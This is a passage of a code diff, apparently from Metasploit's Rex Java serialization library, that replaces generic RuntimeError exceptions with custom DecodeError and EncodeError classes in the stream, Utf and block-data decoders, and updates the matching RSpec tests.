[String] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_magic(io) magic = io.read(2) unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC - raise ::RuntimeError, 'Failed to unserialize Stream' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' end STREAM_MAGIC @@ -107,11 +107,11 @@ module Rex # # @param io [IO] the io to read from # @return [Fixnum] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_version(io) version = io.read(2) unless version && version.unpack('n')[0] == STREAM_VERSION - raise ::RuntimeError, 'Failed to unserialize Stream' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' end STREAM_VERSION diff --git a/lib/rex/java/serialization/model/utf.rb b/lib/rex/java/serialization/model/utf.rb index 7ec45f8684..72a58dc139 100644 --- a/lib/rex/java/serialization/model/utf.rb +++ b/lib/rex/java/serialization/model/utf.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(2) if raw_length.nil? || raw_length.length != 2 - raise ::RuntimeError, 'Failed to unserialize Utf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' end self.length = raw_length.unpack('n')[0] @@ -39,7 +39,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize Utf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' end end diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb index ce9eb43d12..333b124551 100644 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb @@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do describe "#decode" do context "when stream contains empty string" do it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do context "when stream contains incomplete block" do it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb index d12d342cdc..a328084a8c 100644 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ b/spec/lib/rex/java/serialization/model/block_data_spec.rb @@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockData do describe "#decode" do context "when stream contains empty string" do it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockData do context "when stream contains incomplete block" do it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb index 10a167042c..151e8e0ad5 100644 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ b/spec/lib/rex/java/serialization/model/field_spec.rb @@ -34,7 +34,7 @@ describe Rex::Java::Serialization::Model::Field do describe "#encode" do context "when empty field" do - it { expect { field.encode }.to raise_error(::RuntimeError) } + it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) } end context "when primitive field" do diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb index c72d54cca5..1e9b59d4b8 100644 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/long_utf_spec.rb @@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::LongUtf do describe "#decode" do context "when stream contains empty string" do - it "raises RuntimeError" do - expect { long_utf.decode(empty_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::LongUtf do context "when stream contains incomplete long_utf" do it "returns nil" do - expect { long_utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb index a022cf9e18..4104912f8e 100644 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/utf_spec.rb @@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::Utf do describe "#decode" do context "when stream contains empty string" do - it "raises RuntimeError" do - expect { utf.decode(empty_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -69,8 +69,8 @@ describe Rex::Java::Serialization::Model::Utf do end context "when stream contains incomplete utf" do - it "raises RuntimeError" do - expect { utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end